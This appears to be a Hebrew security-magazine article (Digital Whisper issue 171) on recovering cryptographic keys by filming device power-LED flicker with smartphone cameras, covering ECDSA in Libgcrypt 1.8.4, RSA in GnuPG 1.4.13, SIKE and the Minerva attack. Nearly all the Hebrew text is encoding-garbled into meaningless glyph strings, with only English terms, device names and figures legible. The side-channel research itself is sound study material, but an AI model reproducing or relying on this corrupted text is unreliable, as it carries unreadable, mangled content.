˭˷˧˧˥ˢ ˱ˣ˷˥ ˶ˣ˞˪ Φ˭ˣˣ˧˩ ˪˩˷ ˢ˶ˣ˷ ύx˞ ˸˴ˣ˟˵ ˸ˣ˶ˣ˷ ˸ˣ˩ˣˬ˯ ό˟˴ˬ˟ ˢˤ ˸ˡ˩˪ˮ ˭ˬˤ˟ ˢˮˣ˷ Σ˱˵ˣ˸ˢ ˪ˣ˩˧ 

ˢ˷˰ˬ˪ ˪˧ˡˠˢ˪ ˸˞ ˟˴˵ ˢˬ˧ˠˡˢ ˟˴˵ˬ ˢˬ˧ˠˡˢ ˪˷ ˶˧˷˩ˬˢ ύсл-мнл FPS ό˪˞ ˟˴˵ˢ x˟ ˸ˣ˶ˣ˷ˢ ˸ˣ˦˪˵ˮΦ 

ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵˟ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ Σ˱˵ˣ˸ ˪ˣ˩˧ ˪˴ˮ˪ ˦˵˲˞ ˢˤ ˪˰ ˧ˡ˧ ˫ˣ˪˧˴ ˸˧˶ˣˮ sπLED ˟ˣ˪˧˷˟ ˡˣ˰˧˸ ˸˧˶ˣˮˢ Σ

˨˩ ˢˬ˪˴ˬˢ˷ ˸ˡ˵ˬ˸ˬ ˸˧˶ˣˮ˟ Σ˧˩ˢ ˟ˣ˶˵ ˭˸˧ˮ˷ ύ˸ˣ˰˴ˬ˞˟ ˫ˣˤ ˧˦˲ˣ˞ Σό˭˲ˣ˞˟ ˸˧˶ˣˮˢ˷ ˞˪ˬ˸ ˸˞ ˪˩ 

˟˥˶ˬ ˢˮˣˬ˸ˢ Σ˸˶ˡˠˢˣ ˟˴˵ ˢˬ˧ˠˡˢ ˶˧˷˩ˬ˟ ˸ˣ˧ˢ˪ ˢˣ˟ˠˢ ˶˸ˣ˧˟ ˭˸˧ˮ˷ Φ˭˲ˣ˞˟ ˢˤ ˣ˥˧˪˴ˢ ˫˧˶˵ˣ˥ˢ 

˪˧ˡˠˢ˪ ˸˞ ˟˴˵ ˸ˬ˧ˠˡ ˢˮˣˬ˸ˢ ύ˨˩ˣ ˢ˷˰ˬ˪ ˡˣ˩˪˪ ˸˞ ˧ˣˮ˧˷ ˸˧˶ˣˮˢ ˭ˬˤ˟ ˸ˣ˪ˣ˰˲ˢ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ˢ Σό

˟˴˵ˬ сл-мнл FPS Σˡ˰ ˧ˡ˩ слΣллл FPS Σ˨ˣ˸ ˷ˣˬ˧˷ ˶˧˷˩ˬ˟ ˠˣ˯ˬ iPhone 13 Pro Max Φ 

˫˧˶˵ˣ˥ˢ ˫˧ˮ˧˧˴ˬ Σ˧˩ ˦˵˲˞ ˴ˢˬ˴ ˫ˣˮ˧˞ ˥˧˦˟ˬ ˟˴˵ ˢˬ˧ˠˡ ˡ˧˥˞ ˧˶ˬˠ˪ Σ˨˞ ˵˲˯ˬ ˟˴˵ ˢˬ˧ˠˡ ˡ˧˥˞ ˧ˡˬ˪ 

˵˲˯ˬ˷ ˸˞ ˸ˣ˷˧˶ˡˢ ˰ˣ˴˧˟˪ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ˢΦ 

 

ϐ˶ˣ˧˞ м Υ˦˵˲˞ ˴ˢˬ˴ ˫˸ˬ˪˴ˬ˟ ˣ˞ˡ˧ˣ Φ˪˩˟ ˶ˣˤ˥ˬ ˫˧˧˶˲ ˸˰˴˟˸ˬ ˢ˵˧˶˯ ˪˷ ˦˵˧˧˟ˣ˞ ˫ˣ˪˧˴ˢ ˸˧˩ˮ˞ ˭ˬˤ˪ ˢ˲˧˷˥ ˶˴˵ ύE Φό˭ˬˤˢ ˪˪ˣ˩ˢ ˶ˣ˟˰ 

˫˧˧˶˲ˢ ˭ˬˣ˯ˬ ˟πύS Φό˭˧˟ ˧ˮ˷ ˫˧ˬ˧˧˶˲ ˫˧˟˵ˣ˰ ˷˧ ˭ˬˤ ˶˟˰ˬ Σˣ˟ ˦˵˧˧˟ˣ˞ˢ ˞˪ ˡ˩˪ˮ ˫ˣ˷˟ ˫˧˧˶˲ ˪˪˩ Σ˭ˬˤ ˭ʕ ˭ˬˣ˯ˬ ˟πύTώΦό 

 

 

ˢˤ˧˪ˮ˞ 

 

˸ˣ˧˴˵ˮˣ˲ ˟ˣ˷˧˥ ˸ˣ˞ˢ  

 ˫˧˶˵ˣ˥ˢ ˣˮ˧˥˟ˢ ˧˩ ˫˞˸ˢ˟ ˠˣ˯˪ ˸˧˶ˣˮ sπLED ˪˰ ˶˧˷˩ˬˢ Σ˫ˮ˷˧ ˫˧ˬ˶ˣˠ ˫˧˰˧˲˷ˬˢ ˪˰ ˸ˣ˩˧˞ ˸ˣ˞ˢ Σ˭˩˪ 

˫ˢ ˣ˷ˬ˸˷ˢ ˧˸˷˟ ˸ˣ˧˴˵ˮˣ˲ ˸ˣˮˣ˷ ˪˰ ˸ˮˬ ˶˴˧˧˪ ˸ˣ˞ ˳ˣ˶˰ˬ RGB ˭ˣ˸ˮΥ 

¶ Rows - Average π ˸˶˴ˣ˧ ˸ˣ˞ ύ˸˶ˡ˯ ˭ˬˤ ό˧˩˶˰ˬ ˸ˣ˶ˣ˷ ˫˧ˬ˧˧˶˲ˢ ˪˷ ˣ˞ˡ˧ˣˢ Σ˪˰ ˧ˡ˧ ˟ˣ˷˧˥ ˧˩˶˰ sπ

RGB ˫˧˰˴ˣˬˬˢ ˪˩˟ ˢ˶ˣ˷ ˫˧˧˶˲˟ Φˢ˧˴˵ˮˣ˲ xʕ Σ˶˵˧˰˟ ˢˬ˧˞˸ˬ ˠˣ˯˪ ˧ˮ˷ˢ ˪˷ ˸˧˶ˣˮ sπLEDΦ 

¶ Average - Frames π ˸˶˴ˣ˧ ˸ˣ˞ ύ˸˶ˡ˯ ˭ˬˤ ό˧˩˶˰ˬ ˫˧ˬ˧˧˶˲ˢ ˪˷ ˣ˞ˡ˧ˣˢ Σ˪˰ ˧ˡ˧ ˟ˣ˷˧˥ ˧˩˶˰ sπRGB 

˫˧˰˴ˣˬˬˢ ˶ˣ˟˰ ˫˧˧˶˲ˢ ˣ˞ˣ˪ˬ˟ Φˢ˧˴˵ˮˣ˲ xʕ Σ˶˵˧˰˟ ˢˬ˧˞˸ˬ ˠˣ˯˪ ˭ˣ˷˞˶ˢ ˪˷ ˸˧˶ˣˮ sπLEDΦ 
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˫˧˶˵ˣ˥ˢ ˫˧ˮ˧˧˴ˬ ˧˩ ˨˶ˣ˴ˢ ˷ˬ˸˷ˢ˪ ˧˸˷˟ ˸ˣ˧˴˵ˮˣ˲ ˸ˣˮˣ˷ ˞ˣˢ ˟˵˰ ˷˰˶ˢ ˱˯ˣˣ˸ˬˢ ˫˧˧˶˲˪ Φ˪˩˟ ˫˧˧˶˲ Σ

˷˰˶ ˞˴ˬˮ ˫˧˪˯˵˧˲˟ ˫˧˪˞ˣˡ˧˟˧ˡˮ˧˞ Φ˶˷˞˩ ˸ˣ˞ˢ ˷˪˥ Σ˷˰˶ˢ ˫˧˧˶˲˟ ˪ˣ˩˧ ˪˧˲˞ˢ˪ ˪˰ ˸ˣ˞ˢ Φ˧ˡ˩ ˶ˣ˸˲˪ 

ˢ˧˰˟ xʕ Σ˫˧˷ˬ˸˷ˬ ˢ˧˴˵ˮˣ˲˟ Average - Frames Σ˶˷˞ ˢ˸˧˥˲ˬ ˸˞ ˷˰˶ˢ Σ˸˶˲˷ˬˣ ˸˞ ˯˥˧ ˸ˣ˞ ˷˰˶˪ 

ύSNR Signal-to-Noise RatioΦό 

˸ˬˣ˰˪ ˸˞ˤ Σ˶˷˞˩ s˸ˣ˞ ˵ˤ˥ Σ˟ˣ˷˧˥ ˰˴ˣˬˬ ˧˲˪ ˢ˶ˣ˷ ύ˷ˣˬ˧˷ ˟πAverage - Rows ό˶ˬ˷ˬ ˸˞ ˸ˣ˧ˣ˵ˡˢ 

˸˞ˣ ˫˧˧ˣˮ˧˷ˢ ˫˧ˮ˦˵ˢ ˫˧˶˧ˢˬˢˣ Σ˨˩ˣ ˵˲˯ˬ ˸ˣ˩˧˞ ˢ˟ˣ˦ ˶˸ˣ˧ ˫˧ˮˣ˸ˮ˪Φ 

˧ˬ˶ˣˠ ˢ˰˲˷ˢˢ ˪˰ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ  

˵˪˥˟ ˢˤ ˫˧˶˵ˣ˥ˢ ˫˧ˠ˧˴ˬ ˸˞ ˫˧ˬ˶ˣˠˢ ˫˧˰˧˲˷ˬˢ ˪˰ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ Φ˨˶ˣ˴˪ ˨˩ Σˣ˷ˬ˸˷ˢ 

˫˧˶˵ˣ˥ˢ ˧˸˷˟ ˸ˣ˧˴˵ˮˣ˲ ˪˰ ˸ˮˬ ˶˴˧˧˪ ˸ˣ˞ ˳ˣ˶˰ˬ ύRGB ό˭ˣ˸ˮΥ 

˟˥ˣ˶ ˯˲ˢ  

˫˧˶˵ˣ˥ˢ ˫˧ˮ˥ˣ˟ ˶˲˯ˬ ˸ˣˬ˪˴ˬ ˣ˞ˡ˧ˣ Σ˭˪ˣ˩ ˸ˣ˪˰˟ ˟˥ˣ˶ ˯˲ ˢˮˣ˷ ˢ˟ˣˠ˸˩ ˫˧˧ˣˮ˧˷˪ ˸ˬ˴ˣ˰˟ ˸˧˶ˣˮˢΦ 

ˢ˷˰ˬ˪ Σ˫˧˶˵ˣ˥ˢ ˫˧ˮ˥ˣ˟ ˸ˣˬ˪˴ˬ ˸ˣ˪ˡ˟ˮˢ ˸ˣ˷˧ˠ˶˟ ˭ˬˤˣ ˢ˟ˣˠ˸ ˫˧˧ˣˮ˧˷˪ Φ 

˫˧˶˵ˣ˥ˢ ˣ˶˟˧˥ ˸ˤ˩˶ USB ˪˞ ˪˪ˣ˥ˬ ˸ˣ˸ˣ˞ Σˣ˟ ˣ˷ˬ˸˷ˢ ˧ˡ˩ ˪˪ˣ˥˪ ˸ˣ˸ˣ˞ ύнс ˧˪ˠ ˯ˣˮ˧˯ ˫˧˥ˣˣ˶ˬ˟ ˪˷ 

мллл Hz ό˸ˣ˧ˣ˶˧ˡ˸˟ ˪˷ нлл π нрΣнлл ˳˶ˢ ύHz Φό˧ˣ˯˧ˮ˟ ˣ˩˶˰˷ ˷ˣˬ˧˷˟ ˫˰Υ 

¶ iPhone 13 Pro Max, resolution: 1920x1080, FPS: 120, rolling shutter speed:   

¶ Samsung Galaxy S22 Ultra, resolution: 1920x1080, FPS: 120, rolling shutter speed:  

˶˷˞˩ ˧ˮ˷ ˫˧˶˧˷˩ˬˢ ˫˧˶ˡˠˣˬ ˸ˣ˶˧ˢˬ˪ ˴ˢˬ˴ ˫˸˧˟˶ˬˢ ˸ˮ˸˧ˮˢ Φ˪˩ ˡ˥˞ ˫ˢˬ ˱˧˵˷ˬ ˪˰ ˸˧˶ˣˮ sπLED 

˪˷ ˸ˤ˩˶ USB Σ˫ˢ˧˸ˣˬ˪˴ˬˣ ˣˬ˪˧˴ ˸˞ ˸ˣ˧˶ˣˮˢ ˪˰ ˧˲ ˶˞ˣ˸ˬˢ ˢ˪˰ˬ Φ˱˯ˣˮ˟ Σ˫˧˶˵ˣ˥ˢ ˣ˩˶˰ ˧ˣ˯˧ˮ ˢˬˣˡ 

˸ˣ˰˴ˬ˞˟ ˢˡˣ˧ˡ ˢ˷˧ˠ˶ ˶ˣ˞˪ ύphotodiode Σό˪˰ ˸ˮˬ ˞ˣ˶˵˪ ˫˧ˣˮ˧˷ ˸ˬ˴ˣ˰˟ ˸˧˶ˣˮˢ ˸ˬ˵ˣˬˬˢ ˪˰ ˯˧˦˶˩ 

NI-9223 ADC Φˢˡˣ˧ˡˢ ˢ˟˴ˣˢ ˩πн ˫˧˶˦ˬ˧˦ˮ˯ ˸˧˶ˣˮˬ ˥˸ˬˢ ˪˷ ˯˧˦˶˩ˢ Σ˟˴˵ˣ ˢˬ˧ˠˡ ˪˷ ˩πмллл KHzΦ 

˶˥˞˪ ˭˩ˬ Σˣˡ˧˶˲ˢ ˫˧˶˵ˣ˥ˢ ˸˞ ˸ˣ˞ˢ ˣ˸˵ˣ˪˥˪ ˠˣ˴˧˧˟ RGB Σˣˮ˥˟ˣ ˸˞ ˥ˣˣ˦ ˸ˣ˧ˣ˶˧ˡ˸ˢ ˧˟˦˧ˬˢ ύx˟ 

˫˧˶˧˷˩ˬˢ ˣ˥˧˪˴ˢ ˞ˣ˶˵˪ ˧˩ˢ ˟ˣ˦ ˸˞ ˸ˣ˞ˢ Σό˨ˣ˸ ˧ˡ˩ ˣ˩˧˷ˬˢ˷ ˸ˣˣ˷ˢ˪ ˸˞ ˯˥˧ ˸ˣ˞ˢ ˷˰˶˪ ύSNR Φό˸˞ˤ 

˪˰ ˸ˮˬ ˰ˣ˟˵˪ ˸˞ ˟˥ˣ˶ ˯˲ˢ ˧˞ˡ˩ˢ Φ˨˩ ˢ˷˰ˬ˪ Σ˫˧˶˵ˣ˥ˢ ˣ˞˶ˢ ˧˩ ˶ˡ˯ ˟˥ˣ˶ ˯˲ˢ ˪˷ ˫˧˶˧˷˩ˬˢ ˢˮˣ˷ Σ

˞˪ˣ ˫˪ˣ˩ ˣˡ˵˲˸ ˭˲ˣ˞˟ ˢˢˤΥ 

1. Photodiode (25 KHz). 

2. iPhone 13 Pro Max (Maximum 10 KHz). 

3. Samsung Galaxy S22 Ultra (Maximum 6 KHz). 
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˸˞ ˸ˣ˞˴ˣ˸ ˧ˣ˯˧ˮ ˸˞˧˶˵ ˸ˣ˸ˣ˞ˢ ˡ˴˪ ˸ˣ˞ ˢ˶˵˟ˢ Σ˭˸˧ˮ ˸ˣ˞˶˪ ˶ˣ˧˞˟ н Φ˸˞ ˸ˣ˞˴ˣ˸ SNR ˪˷ ˫˧˶˧˷˩ˬˢ 

˯˥˧˟ ˸ˣ˧ˣ˶˧ˡ˸˪ Σ˭˸˧ˮ ˸ˣ˞˶˪ ˶ˣ˧˞˟ оΥ 

 

ϐ˶ˣ˧˞ нώ 

 

ϐ˶ˣ˧˞ оώ 
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˸ˣ˧˶˲˯ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˶ˣ˵ˬˣ ˸˧˶ˣˮˢ  

˫˧˶˵ˣ˥ˢ ˣ˩˶˰ ˧ˣ˯˧ˮ ˧ˡ˩ ˭ˣ˥˟˪ ˸˞ ˸ˣ˩˧˞ ˸ˣ˞ˢ ˯˥˧˟ ˷˰˶˪ ύSNR - Signal-to-Noise Ratio  ό˫˧˷˧˥˶˸˟ 

˫˧ˮˣ˷ Φ˫ˢ ˣ˵ˡ˟ ˡ˴˧˩ ˷ˣˬ˧˷ˢ ˸ˣ˧˶˲˯˟ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˸ˣˮˣ˷ ˰˧˲˷ˬ ˪˰ ˸˪ˣ˩˧ˢ ˰˴˟˪ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ 

˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ Φ˧ˣ˯˧ˮˢ ˡ˵ˬ˸ˢ ˧ˮ˷˟ ˧ˠˣ˯ ˸ˣ˧˶ˣˮ LEDΥ 

˸ˣ˧˶ˣˮ ˸ˣ˶˟ˣ˥ˬˢ ˸ˣ˶˧˷˧ ˪ˠ˰ˬ˪ ˧˪ˬ˷˥ˢ ˪˷ ˶˧˷˩ˬˢ Φ˸ˣ˧˶ˣˮ ˪˷ ˫˧˶ˤ˧˟˞ ˫˧˧˲˵˧ˢ Σ˸ˣ˰˲˷ˣˬˢ ˭˲ˣ˞˟ 

˱˧˵˰ Φ˫˧˶˵ˣ˥ˢ ˣ˷ˬ˸˷ˢ ˷ˣ˪˷˟ ˸ˣ˧˶˲˯ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˸ˣˮˣ˷ ˣ˵ˡ˟ˣ ˸˞ ˸ˣ˪ˣ˰˲ ˟ˣ˷˧˥ˢ ˸ˣ˞˟ˢΥ 

¶ Libgcrypt 1.8.4 (ECDSA sign operation). 

¶ GnuPG 1.4.13 (RSA decrypt operation). 

¶ PQCrypto-SIDH 3.4 (SIKE operation). 

˭˲ˣ˞˟ ˢˬˣˡ ˧ˣ˯˧ˮ˪ ˫ˡˣ˵ˢ Σˣ˰˴˟ ˸˞ ˸ˣˡ˧ˡˬˢ ˸ˣ˰˴ˬ˞˟ ˫˧˶˧˷˩ˬ ˧˪˰˟ ˸˧˶ˣˮ LED Σ˫˧˶˧˷˩ˬˣ ˫ˢ˟ ˸˧˶ˣˮˢ 

˸˩˧˧˷ ˧˰˴ˬ˞˪ ˧˲˵˧ˢ Φ˫˧˶˵ˣ˥ˢ ˣ˰˧ˠˢ ˸ˣˮ˟ˣ˸˪ ˧˩ ˯˥˧ SNR ˢˣ˟ˠˢ ˶˸ˣ˧˟ ˡˡˬˮ ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˸˧˧˶˲˯˟ 

PQCrypto-SIDH оΦп Σ˰ˣ˴˧˟ˣ ˸˪ˣ˰˲ SIK Φˣ˩˶˰ ˰ˮ ˭˧˟ мтΦп-ннΦп dB Φ˯˥˧ˢ ˨ˣˬˮˢ ˶˸ˣ˧˟ Σˡˡˬˮ ˪˰ ˧ˡ˧ 

˷ˣˬ˧˷ ˸˧˧˶˲˯˟ Libgcrypt мΦуΦп ˸˰˴˟ˬˢ ECDSA sign operation (13.2-15.2 dB Φό 

˫˧˶˵ˣ˥ˢ ˣ˞˴ˬ ˧˩ ˸˞˧˶˵˪ ˸˧˶ˣˮˢ ˢ˶ˣ˴˟ ˢ˲˧˵˰ ˷˧ ˸ˣˠˢˮ˸ˢ ˞˪ ˸˦˪˥ˣˬ ύˢ˪ˣ˩˧ ˪˧ˡˠˢ˪ x˞ ˸˧˥˲ˢ˪ ˸˞ 

˸ˬ˶ sπSNR Φό˨˞ ˢˮ˵˯ˬˢ ˢ˟ˣ˷˥ˢ ˶˸ˣ˧˟ ˞˧ˢ Σ˫ˠ˷ ˫˧˶˧˷˩ˬ ˫ˢ˟ ˭˧˞ ˸˧˶ˣˮ LED ˭˲ˣ˞˟ ˶˧˷˧ Σ˫˧˪ˣ˩˧ 

˸ˣ˧ˢ˪ ˫˧˰˧ˠ˲ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵˪ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ ύ˭˸ˮ˧ˢ˟ ˸˧˶ˣˮ LED ˸˶˟ˣ˥ˬˢ ˢ˶ˣ˴˟ ˢ˲˧˵˰ ˞˪ˣ ˸ˡˡˣ˟ˬ Φό

˸ˣ˞˴ˣ˸ˢ ˨˩˪ Σ˶ˣ˧˞˟ ˢ˞˟ˢΥ 

 
ϐ˶ˣ˧˞ 4ώ 

˵˥˶ˬ  

˫˶˵˥ˬ˟ Σ˫˧˶˵ˣ˥ˢ ˫˧˵ˡˣ˟ ˸˞ ˸˰˲˷ˢ ˵˥˶ˬˢ ˭˧˟ ˸˧˶ˣˮ sπLED ˶˧˷˩ˬ˟ ˢ˶˦ˬˢ Σ˭˧˟˪ ˶ˣ˵ˬ ˫ˣ˪˧˴ˢ Σ˭˩ˣ 

˸˞ ˸˰˲˷ˢ ˶˷˵ˢ ˫ˢ˧ˮ˟ ˪˰ ˸ˬ˶ sπSNR Φ˪˰ ˧ˡ˧ ˷ˣˬ˧˷ ˢ˷ˣ˪˷˟ ˫˧˯˧˦˶˩ ˫˧ˬ˩˥ Σˣ˞˴ˬ ˧˩ ˭˸˧ˮ ˰˴˟˪ 

ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ ˵˥˶ˬˬ ˪˷ ˡ˰ нр ˫˧˶˦ˬ ύ˫˧˞ˮ˸˟ ˫˧ˬ˧ˣ˯ˬ Σόˣ˞˶ˢˣ ˧˩ ˫˧˯˧˦˶˩ ˫˧ˬ˩˥ ˧˪˰˟ 

˸ˣ˧˶ˣˮ LED ˠˣ˯ˢˬ ˧ˮ˷ˢ Σˣ˧ˢ ˸ˣ˷˧ˠ˶ ˶˸ˣ˧ Σ˨˩ˬˣ Σ˸ˣ˰˧ˠ˲ ˶˸ˣ˧ ˧ˣˢ˧ˤ˪ ˫˧˧ˣˮ˧˷ˢ Φ˸ˬˣ˰˪ ˸˞ˤ Σ˫˧˶˵ˣ˥ˢ ˣ˪˧ˠ ˧˩ 

˫˧˯˧˦˶˩ ˧˪˰˟ ˸ˣ˧˶ˣˮ LED ˠˣ˯ˢˬ ˭ˣ˷˞˶ˢ Σ˫˧˲ˣ˷˥ ˢ˰˧ˠ˲˪ ˵˥˶ˬˬ ˪˷ ˡ˰ ˶˦ˬ ˡ˥˞ Σ˨˩˧˲˪ˣ Σ˫ˢ ˞˪ 

˫˧˰˧ˠ˲ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵˪ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ ˵˥˶ˬˬΦ  



 
 

    
www.DigitalWhisper.co.il 

˭ˣ˧˪ˠ 171, ˳˶ˬ нлнр  мнт 
 

˸˶ˣ˞˸ ˢ˟˧˟˯ˢ 

˧˶˥˞ ˢ˵˧ˡ˟ ˧ˣ˯˧ˮˣ ˪˷ ˰ˣ˴˧˟ ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ ˸ˣ˟˧˟˯˟ ˧˪˰˟ ˧ˮ˧˧˲˞ˬ ˢ˶ˣ˞˸ ˫˧ˮˣ˷ 

ύ˶ˣ˞κ˨˷ˣ˥κ˸˶ˣ˞˸ ˶ˡ˥ Σό˫˧˶˵ˣ˥ˢ ˣˮ˧˥˟ˢ ˧˩ ˢˡ˧ˬ˟ ˵˥˶ˬˣ ˢˬ˪˴ˬˢ ˶˴˵ Σ˧ˤ˞ ˢ˰˲˷ˢˢ ˭˧˟ ˧˟˴ˬ 

ˢ˶ˣ˞˸ˢ ˦˰ˬ˩ ˞˪ ˸ˬ˧˧˵ Φ˸˞ˤ ˡˣˠ˧ˮ˟ ˢ˰˲˷ˢ˪ ˶˷˞˩ ˵˥˶ˬ ˢˬ˪˴ˬˢ ˪ˣˡˠ ˶˸ˣ˧ Σ˨˩ ˸˶ˣ˞˸˷ ˢ˟˧˟˯ˢ 

ˢ˦˰ˬ Σ˶ˬˣ˪˩ Σˢ˟˧˟˯˟ ˢ˩ˣ˷˥ ˶˸ˣ˧ Σ˸ˬ˶ sπSNR ˢˢˣ˟ˠ ˶˸ˣ˧ Σ˭˩˪ Σ˸ˣ˞ˢ ˦˪˵ˮ ˢ˶ˣ˴˟ ˢ˟ˣ˦ ˶˸ˣ˧ Φ˭˸˧ˮ 

˸ˣ˞˶˪ ˸˞ˤ ˢ˪˟˦˟ ˢ˞˟ˢΥ 

 
ϐ˶ˣ˧˞ 5ώ 

˳ˣ˪˧˥ ˸ˣ˥˸˲ˬ ECDSA 

˫˸˧˶ˣˠ˪˞ ECDSA  

ˣˬ˷˟ ˞˪ˬˢ ΣElliptic Curve Digital Signature Algorithm Σˣˮ˧ˢ ˫˸˧˶ˣˠ˪˞ ˧˲˶ˠˣ˦˲˧˶˵ ˯˯ˣ˟ˬˢ ˪˰ 

˸˧˲˶ˠˣ˦˲˧˶˵ ˸ˣˬˣ˵˰ ˸ˣ˧˦˲˧˪˞ ˪˰ ˸ˮˬ ˶ˣ˴˧˪ ˢˬ˧˸˥ ˸˧˪˦˧ˠ˧ˡ Φ˫˸˧˶ˣˠ˪˞ˢ Σ˶˷˲˞ˬ ˨˶ˡ ˸ˬ˞˪ ˸˞ 

˸ˣ˧˶ˣ˵ˬ ˶˯ˬˢ ˣ˸ˣˬ˪˷ˣ Σ˨˩˟ˣ ˵˲˯˪ ˸ˣ˞ˡˣ ˨ˬ˯ˬˢ˷ x˞ ˢ˰ˡˣˢ ˞˪ ˣˮˣ˷ ˨˪ˢˬ˟ ˫˸˶˟˰ˢ Σ˫ˢ˷ˣ ˫˧˰˧ˠˬ 

˫˶ˣˠˢˬ ˫˧˞˸ˬˢΦ 

˫˸˧˶ˣˠ˪˞ˢ ˢ˷ˣ˰ ˷ˣˬ˧˷ ˢˮ˟ˬ˟ ˧˦ˬ˸ˬ ˪˷ ˸ˣˬˣ˵˰ ˸ˣ˧˦˲˧˪˞ Σ˶˷˲˞ˬˢ ˸ˬ˶ ˢ˥˦˟˞ ˢˢˣ˟ˠ ˫˰ ˧˪ˡˠ 

˥˸˲ˬ ˫˧ˮ˦˵ ˶˸ˣ˧ Σˢ˞ˣˣ˷ˢ˟ ˫˧ˬ˸˧˶ˣˠ˪˞˪ ˫˧˧˸˶ˣ˯ˬ Σˣˬ˩ RSA Φˢˮˣ˩˸ xʕ ˸˩˲ˣˢ ˣ˸ˣ˞ ˪˧˰˧˪ ˡ˥ˣ˧ˬ˟ 

˫˧˶˧˷˩ˬ˟ ˧˪˰˟ ˫˧˟˞˷ˬ ˫˧˪˟ˠˣˬΦ 

˶ˬ˞ˬ˟ Σ˫˧˶˵ˣ˥ˢ ˫˧˶˞˸ˬ ˸˞ ˸˲˵˸ˢ ˢˣˣ˶ˮ˧ˬ ύ[3](Minerva Attack Φ˫ˢ ˫˧˷ˣ˰ ˢ˟ ˷ˣˬ˧˷ ˪˰ ˸ˮˬ 

˫˧ˠˡˢ˪ ˶ˣˤ˥˷ ˪˷ ˥˸˲ˬ ˢˮ˲˴ˢ ECDSA ˧˦˶˲ ˨˶ˣ˞˟ нрс ˸ˣ˧˟˧˯ ˞˶ˣ˵ˬ ˫˧˯˧˦˶˩ ˫˩˥ Σ˸ˣ˰˴ˬ˞˟ 

ˢˤ˧˪ˮ˞ˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ ˣ˞ˡ˧ˣ Φ˶˵˥ˬˢ ˰˴˟˸ˢ ˪˰ ˧ˬˣ˪˧˴ ˣ˞ˡ˧ˣ ˪˷ ˸˧˶ˣˮ ˥˸ˬˢ ύˠˣ˯ ˭ˣ˷˞˶ ό˪˷ ˯˧˦˶˩ˢ 

˫˩˥ˢ Σ˵˥˶ˬˬ ˪˷ ˩πр ˫˧˶˦ˬ Σ˶˷˞ ˣˠ˷ˣˢ ˢ˴˧˶˲ˬ ˸ˬ˪˴ˬ˪ ˢ˥˦˟˞ ˸˶˟ˣ˥ˬˢ ˸˷˶˪Φ 

˸ˣ˧˶˲˯ ˸ˣ˧˲˶ˠˣ˦˲˧˶˵ ˸ˣ˴ˣ˲ˮ ˸ˣ˷ˬ˸˷ˬ ˢ˦˧˷˟ ˪ˣ˰˧˧˪ ˫˸˧˶ˣˠ˪˞ sπECDSA ˪˰ ˧ˡ˧ ˸˶˯ˢ ˫˧˯˲˞ ˫˧˪˧˟ˣˬ 

˫˧˶˲˯ˬ˟ ˫˧ˬ˧ˣ˯ˬ Σ˨˞ ˢ˦˧˷ xʕ ˸˶˴ˣ˧ ˸ˣ˰˧ˠ˲ Σ˭ˣˣ˧˩ˬ ˪ˣ˰˧˧ˢ˷ ˫˶ˣˠ ˶˲˯ˬ˪ ˢˮ˸˷ˬ ˪˷ ˸ˣ˪ˣ˰˲ ˸ˣ˶ˤˣ˥ 

˨˧˪ˢ˸˟ ˟ˣ˷˧˥ˢ Φ˭˩˪ ˭ˬˤ ˢ˴˧˶ˢ ˪˷ ˨˧˪ˢ˸ˢ ˢˮ˸˷ˬ Σ˫˞˸ˢ˟ ˶˲˯ˬ˪ ˫˧˯˲˞ˢ ˫˧˪˧˟ˣˬˢ Σ˶˲˯ˬ˟ ˡ˥π

˧ˬ˰˲ ˶˴ˣˮ˷ ˸˧˞˶˵˞ Φ˱˵ˣ˸ ˪ˣ˩˧ ˪˴ˮ˪ ˸˞ˤ ˪˰ ˧ˡ˧ ˸ˡ˧ˡˬ ˭ˬˤ ˢˬ˧˸˥ˢ Σ˨˩˟ˣ ˨˧˶˰ˢ˪ ˢˬ˩ ˫˧˯˲˞ ˫˧˪˧˟ˣˬ 

ˣ˧ˢ ˶˲˯ˬ˟ ˡ˥ˢπ˧ˬ˰˲ Φ˰ˡ˧ˬ ˢˤ ˶˷˲˞ˬ ˱˵ˣ˸˪ ˷ˬ˸˷ˢ˪ ˸ˣ˦˧˷˟ ˸ˣˬˡ˵˸ˬ ˪˷ ˢ˧˲˶ˠˣ˦˲˧˶˵ ˸˯˯ˣ˟ˬ 

ˠ˧˶˯ Σ˶ˣ˴˧˪ ϥ˸˧˧˰˟ ˶˲˯ˬ ˶˸˯ˣˬ ϥ˶ˣ˸˲˪ˣ ˢ˸ˣ˞ ˸ˣ˰˴ˬ˞˟ ˸ˣ˵˧ˮ˩˦ ˪˷ ˸˧˧˴˵ˣˡ˶ ˠ˧˶˯ Φ˭ˣ˶˸˲ ˢˤ ˪˧˟ˣˬ 
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˸˧˧˰˟˪ ˶ˣ˦˵ˣˣˢ ˶˴˵ˢ ˶˸ˣ˧˟ Σˢˮˣ˶˸˲˷ ˧ˣ˷˰ ˱ˣ˷˥˪ ˸˞ ˥˸˲ˬ ˢˮ˲˴ˢˢ ˧˦˶˲ˢ Φˣ˲ˣ˯˟ ˪˷ ˶˟ˡ Σ˪ˣ˰˧˧ 

